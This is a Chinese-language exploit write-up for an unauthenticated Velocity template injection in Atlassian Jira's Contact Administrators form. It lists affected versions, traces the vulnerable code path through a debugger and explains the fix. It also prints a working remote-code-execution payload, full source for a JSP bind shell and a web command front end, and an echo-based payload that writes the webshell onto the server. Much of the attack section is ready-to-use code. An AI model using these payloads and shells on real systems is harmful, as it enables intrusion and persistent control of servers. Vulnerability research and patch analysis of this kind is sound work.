
Atlassian Jira unauthen template injection
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x 至 7.6.14(7.6.x 的修复版本)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x 至 7.13.5(7.13.x 的修复版本)
8.0.x 至 8.0.3(8.0.x 的修复版本)
8.1.x 至 8.1.2(8.1.x 的修复版本)
8.2.x 至 8.2.3(8.2.x 的修复版本)
./bin/setenv.bat 文件中的 set JVM_SUPPORT_RECOMMENDED_ARGS= 值(或 Linux 下对应的 ./bin/setenv.sh),以启用远程调试set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug,host 和 port 设置为 localhost:5005,Command line arguments for remote JVM 为:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
运行 ./bin/config.bat(或 Linux 下的 config.sh),将 "Jira home" 设置为自己的 jira home 目录

运行 ./bin/start-jira.bat(或 Linux 下的 ./bin/start-jira.sh)。请检查 Java 版本以及 8080 端口和 5005 端口是否可用,否则无法启动!
选择 private 模式

到这一步,请记得使用能接收邮件的邮箱地址 :)

配置并测试连接,确保完整

在 http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa 开启 Contact Administrators Form 功能

我只记录了一些构建时的注意事项,更多可参考 从源码构建 Jira
阅读 安全公告 后,我们知道此漏洞位于 ContactAdministrators 和 SendBulkMail(后者需要认证,故略过)。因此我开始测试 ContactAdministrators 功能并抓取请求。

我看到请求发往 /secure/ContactAdministrators.jspa,于是查看文件 ./atlassian-jira/WEB-INF/web.xml 来确定该请求被转发到哪个类


因此该请求将由 JiraWebworkActionDispatcher 处理,我在该类的 init 和 server 方法上设置断点并启动调试

程序停在了 server 方法,跟踪一会儿后程序跳入 ContactAdministrators.doExecute()

然后进入 send,在此方法中程序列出了所有活跃的管理员账户

接着程序进入 sendTo 方法。这里我们看到程序创建了一个 MailQueueItem 并将其添加到 中。
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader)。在此处,程序从 Reader 创建了一个 SimpleNode

render 方法,此处调用了 nodeTree.render(ica, writer); 来解析 Velocity 模板,因此这里可以发生模板注入!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### 此处可导致 RCE ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()


ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
至此我们可以在 Jira 服务器上实现 RCE,但如果我们希望获取一个 shell 而服务器没有出站连接怎么办?这种情况下我们无法像通常那样创建 bind/reverse shell,因为没有端口可以连接到互联网。
我从 @honson97 那里得到一个提示:“使用一个 jsp web 页面接收攻击者输入,然后传递给一个独立监听在服务器本地 localhost 的 bind shell”。

基于这个思路,我编写了两个 jsp 文件:web.jsp 和 blind.jsp。blind.jsp 充当 blind shell,始终监听 localhost:4444,接收命令后传给 cmd/base 并返回结果给 web.jsp,而 web.jsp 作为攻击者输入/输出命令的界面。
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
接下来将 shell 上传到服务器。由于我们考虑的是服务器没有出站连接的情况,只能通过 echo 命令上传文件。首先用 Python 去除换行符和转义特殊字符:
a = """ 将文件内容粘贴到这里 """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
然后复制得到的字符串放入 payload:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
上传完 web.jsp 和 bind.jsp 后,访问 /bind.jsp,再打开新标签页访问 /web.jsp?cmd=COMMAND 测试 shell。

在 ContactAdministrators.sendTo() 中,修复版本不再直接将客户端输入传递给 EmailBuilder.withSubject 以转换为可渲染的模板源,而是将输入作为字符串上下文,只将字符串 "$subject" 传入 EmailBuilder.withSubject。当渲染时,系统执行模板 "$subject",即加载 subject 字符串上下文(客户端输入)而不渲染它们。换句话说,程序将输入作为字符串加载,而不是作为可渲染的模板。
漏洞版本
修复版本
mailQueue
程序调用了 EmailBuilder.withSubject。此处邮件主题(攻击者提交)字符串被转换为 TemplateSources 并赋值给 EmailBuilder 的 subjectTemplate 参数。

在 renderLater 方法中,程序创建了一个 EmailRenderer 并用它来生成 RenderingMailQueueItem

此时,回到 ContactAdministrators.sendTo。创建完 MailQueueItem 后,程序将其加入 mailQueue 并返回 doExecute 进行重定向。如果按照这个调试流程,我们无法跳转到邮件渲染部分,也就无法到达模板注入发生的位置。那么如何跟踪邮件的处理过程呢?
我看到 EmailRenderer 中有 renderNow 方法(程序只调用了 renderLater),我猜测当队列中的邮件被调用渲染时,也会走类似 renderNow 的流程。因此我决定从 renderNow 方法开始跟踪。

从 renderNow 出发,程序调用 EmailRenderer.render()。我在此处设置断点并重新发起请求,以确认程序是否确实执行到这里。

幸运的是,程序按照我预想的方向执行了。接下来调用 renderEmailSubject

接着调用 DefaultVelocityTemplatingEngine.render(this.subjectTemplate)

进入 DefaultVelocityTemplatingEngine.applying 和 DefaultVelocityTemplatingEngine.asPlainText

继续调用 asPlainText(Writer writer)

进入 toWriterImpl,由于传入的 writer 是一个 Fragment,程序跳转到 else 分支